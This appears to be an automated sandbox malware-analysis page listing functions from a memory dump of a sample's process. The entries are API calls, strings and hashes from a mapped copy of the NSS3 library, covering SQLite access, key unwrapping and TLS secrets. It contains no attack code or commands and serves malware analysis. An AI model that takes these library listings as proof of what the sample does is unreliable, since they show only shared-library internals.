Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 16118cfb07e0bf6ba39ab38be8d3be8aab66c00a7b5995a4ea5fe9d46d15ff06
Instruction ID: 5b143f4702e4132e672b65148ced1db6ee0c1f80ca9a823c1e7b26f7db0df737
Opcode Fuzzy Hash: 16118cfb07e0bf6ba39ab38be8d3be8aab66c00a7b5995a4ea5fe9d46d15ff06
Instruction Fuzzy Hash: 3D22287160C3508FD714CE6DC4907AAB7E6AB8532EF184A2EE49587F91E7319C05CB8B

Function 6C5C1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5C1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5C1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5C1FB7

Strings

unknown error, xrefs: 6C5C2291
table, xrefs: 6C5C1C8B
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5C1F83
sqlite_master, xrefs: 6C5C1C61
abort due to ROLLBACK, xrefs: 6C5C2223
another row available, xrefs: 6C5C2287
unsupported file format, xrefs: 6C5C2188
attached databases must use the same text encoding as main database, xrefs: 6C5C20CA
sqlite_temp_master, xrefs: 6C5C1C5C
no more rows available, xrefs: 6C5C2264

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: f54a775dcb7ac051a23a5729c20060cc98d63657903e9b60911f22b5c2ec2d76
Instruction ID: 5f2b46216cffc8fa17590358f6bb2c625b4a081e929d5bfaf79ec4ac91c506fa
Opcode Fuzzy Hash: f54a775dcb7ac051a23a5729c20060cc98d63657903e9b60911f22b5c2ec2d76
Instruction Fuzzy Hash: 0912AD707083418FD705CF59C884A5ABBF2BF85318F18896EE8959BB52D731E846CB93

Function 6C5E5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6C5E6228
-, xrefs: 6C5E62F9
NOCASE, xrefs: 6C5E8703
ON clause references tables to its right, xrefs: 6C5E6BEC
sub-select returns %d columns - expected %d, xrefs: 6C5E805F
2, xrefs: 6C5E65B4
u, xrefs: 6C5E81DA
BINARY, xrefs: 6C5E8708, 6C5E8737, 6C5E87B8

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: cfe6becdfefba6170d6c563bf25f01b19bc9bab913e01d74b988e2a5de5addde
Instruction ID: fb46bbd622e3baa43f4e482c13ed1b5717c616f6b0e72a9df532463083f88b1d
Opcode Fuzzy Hash: cfe6becdfefba6170d6c563bf25f01b19bc9bab913e01d74b988e2a5de5addde
Instruction Fuzzy Hash: 334372746083418FD304CF19C890B5ABBE2BFCD358F148A6DE9998B756D731E846CB92

Function 6C68EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C68DAE2,?), ref: 6C68C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C68F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C75218C), ref: 6C68F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C68F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C68F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C68F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C68F210

Part of subcall function 6C6352D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C68F1E9,?,00000000,?,?), ref: 6C6352F5
Part of subcall function 6C6352D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C63530F
Part of subcall function 6C6352D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C635326
Part of subcall function 6C6352D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C68F1E9,?,00000000,?,?), ref: 6C635340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C68F227

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C68F23E

Part of subcall function 6C67BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C62E708,00000000,00000000,00000004,00000000), ref: 6C67BE6A
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?), ref: 6C67BE7E
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C68F3A8

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C68F3B3

Part of subcall function 6C632D20: PK11_DestroyObject.NSS3(?,?), ref: 6C632D3C
Part of subcall function 6C632D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C632D5F

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: fe78907731584804e0d84e5bdea073adaacb6640acb83a58687d305559629fe5
Instruction ID: d6a0d23b75b5e6eec156c6ef02049875460fe91e788a2fbc083f28b3033790d4
Opcode Fuzzy Hash: fe78907731584804e0d84e5bdea073adaacb6640acb83a58687d305559629fe5
Instruction Fuzzy Hash: 19D1C4B5E026059FDB10CFA9D880A9EB7F5FF48308F148429DA15E7711EB31E805CBA9

Function 6C6BDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C697FFA,00000000,?,6C6C23B9,00000002,00000000,?,6C697FFA,00000002), ref: 6C6BDE33

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C6BD000: PORT_ZAlloc_Util.NSS3(00000108,?,6C6BDE74,6C697FFA,00000002,?,?,?,?,?,00000000,6C697FFA,00000000,?,6C6C23B9,00000002), ref: 6C6BD008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C697FFA,00000000,?,6C6C23B9,00000002,00000000,?,6C697FFA,00000002), ref: 6C6BDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C6BDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6BE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6BE121
PK11_FreeSymKey.NSS3(?), ref: 6C6BE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C6BE195
PR_GetCurrentThread.NSS3 ref: 6C6BE1FC

Part of subcall function 6C6B2460: PR_SetError.NSS3(FFFFE005,00000000,6C757379,00000002,?), ref: 6C6B2493

Strings

handshake data, xrefs: 6C6BDFF7
key, xrefs: 6C6BE046
application data, xrefs: 6C6BDFE0
early application data, xrefs: 6C6BDFC9

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 7ec113cabf082f8b36c6894f581ebf89bb7e7b347e527a846bb4b95acca0756a
Instruction ID: 51276635d1ac94b034556b8ae2b0b60f621495a05efa3fd4901a0273b8c55746
Opcode Fuzzy Hash: 7ec113cabf082f8b36c6894f581ebf89bb7e7b347e527a846bb4b95acca0756a
Instruction Fuzzy Hash: 6DC11671B00205ABDB14CF65CC80BEAB7B4FF09318F144179E909ABB51E731E965CBA9

Function 6C5AECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C5AEF98

Strings

%s at line %d of [%.10s], xrefs: 6C5AF492
database corruption, xrefs: 6C5AF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5AF483

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 2a39ed00606ba1329947402befe4f1555f74cf406a7c2d01ae61214a9195ff4a
Instruction ID: 92fd286ee18dbc46fa5b037abb0cf33759086f99e538a6746ac26acd6b81b741
Opcode Fuzzy Hash: 2a39ed00606ba1329947402befe4f1555f74cf406a7c2d01ae61214a9195ff4a
Instruction Fuzzy Hash: F262D170A042458FDB14CFA6CC8479EBBB1BF49318F18469DD8456BB92D771E887CBA0

Function 6C64FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C64FD06

Part of subcall function 6C64F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C64F696
Part of subcall function 6C64F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C64F789
Part of subcall function 6C64F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C64F796
Part of subcall function 6C64F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C64F79F
Part of subcall function 6C64F670: SECITEM_DupItem_Util.NSS3 ref: 6C64F7F0

Part of subcall function 6C673440: PK11_GetAllTokens.NSS3 ref: 6C673481
Part of subcall function 6C673440: PR_SetError.NSS3(00000000,00000000), ref: 6C6734A3
Part of subcall function 6C673440: TlsGetValue.KERNEL32 ref: 6C67352E
Part of subcall function 6C673440: EnterCriticalSection.KERNEL32(?), ref: 6C673542
Part of subcall function 6C673440: PR_Unlock.NSS3(?), ref: 6C67355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C64FDAD

Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C629003,?), ref: 6C67FD91
Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(A4686C68,?), ref: 6C67FDA2
Part of subcall function 6C67FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C68,?,?), ref: 6C67FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C64FE00

Part of subcall function 6C67FD80: free.MOZGLUE(00000000,?,?), ref: 6C67FDD1

Part of subcall function 6C66E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C64FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C64FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C64FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C64FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C64FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C64FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C650007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C650029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C650044

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 93cb23d95a0c4a904e45a268425e291d9850e051f2b5c751fdb432a352d03e7e
Instruction ID: e87d0a594a8e91f3181e45db49ed03136957f5b4f7cc8cc9b7dca660410f8dcc
Opcode Fuzzy Hash: 93cb23d95a0c4a904e45a268425e291d9850e051f2b5c751fdb432a352d03e7e
Instruction Fuzzy Hash: DBB1B2B1604301AFE314CF29C840A6AF7E5FF89308F55CA2DE99987A41E770E945CB96

Function 6C647D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C647DDC

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C647DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C647F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C647F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C647F98
PK11_FreeSymKey.NSS3(?), ref: 6C647FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C647FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C648000

Part of subcall function 6C669430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C647F0C,?,00000000,00000000,00000000,?), ref: 6C66943B
Part of subcall function 6C669430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C66946B
Part of subcall function 6C669430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C669546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C648110
PK11_FreeSymKey.NSS3(00000000), ref: 6C64811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C64822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C64823C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: f40ab3609d6253686141c64d0e8dfe73f0c4b312f5d6e788205730ba2195deb2
Instruction ID: 5c31565d52831ba7de5fc0a5903d0ca318709975053722a773a28752e2befb87
Opcode Fuzzy Hash: f40ab3609d6253686141c64d0e8dfe73f0c4b312f5d6e788205730ba2195deb2
Instruction Fuzzy Hash: 9BC160B1D00259DBEB21CF14CC40FEAB7B9AB09348F00C5E6E909A6651E7319E85CFA5

Function 6C5BAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31,?,?,?,?,?,?,?), ref: 6C5BB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31), ref: 6C5BB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31), ref: 6C5BB0A2
CloseHandle.KERNEL32(?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31,?,?,?,?,?,?,?,?,?), ref: 6C5BB100
sqlite3_free.NSS3(?,?,00000002,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31,?,?,?,?,?,?,?), ref: 6C5BB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31), ref: 6C5BB12D

Part of subcall function 6C5A9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5BC6FD,?,?,?,?,6C60F965,00000000), ref: 6C5A9F0E
Part of subcall function 6C5A9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C60F965,00000000), ref: 6C5A9F5D

Strings

`sl, xrefs: 6C5BB0DF

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `sl
API String ID: 3155957115-3677604414
Opcode ID: 4284a22110c15ce41579919409af3ca0667298c2a1386d9e06ec43a91ed29eda
Instruction ID: 93c27bd5d30e10310e9ad575c7631922be95cddb2d990fc56c5c7b8dcb7b5865
Opcode Fuzzy Hash: 4284a22110c15ce41579919409af3ca0667298c2a1386d9e06ec43a91ed29eda
Instruction Fuzzy Hash: 3D91D0B0A042098FDB04DF65CC94ABBBBB1FF46308F244A3DE416A7A50EB71E845CB51

Function 6C650EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C650F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C650FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C651006
PK11_FreeSymKey.NSS3(?), ref: 6C65101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C651033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C65103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C651048
memcpy.VCRUNTIME140(?,?,?), ref: 6C65108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6510BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6510D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C65112E

Part of subcall function 6C651570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6508C4,?,?), ref: 6C6515B8
Part of subcall function 6C651570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6508C4,?,?), ref: 6C6515C1
Part of subcall function 6C651570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65162E
Part of subcall function 6C651570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C651637

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: b180aa2fc790b754b47b208795c3a9a46675931a54a67249e0d8125228e8e052
Instruction ID: 43b40cd92ac3492d6b6d5812730c2bf32bfb850fe4f5857ca6f43c0b4ab61ebb
Opcode Fuzzy Hash: b180aa2fc790b754b47b208795c3a9a46675931a54a67249e0d8125228e8e052
Instruction Fuzzy Hash: 4271D1B5E002059FDB10CFA5CC84AAAB7F4BF48318F64862DE90997711EB31D964CB99

Function 6C671CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C671F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C672166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C67228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6723B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67241C

Strings

manufacturer, xrefs: 6C672179
token, xrefs: 6C671F2C
model, xrefs: 6C6723CB, 6C6723EC
serial, xrefs: 6C6722A2

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
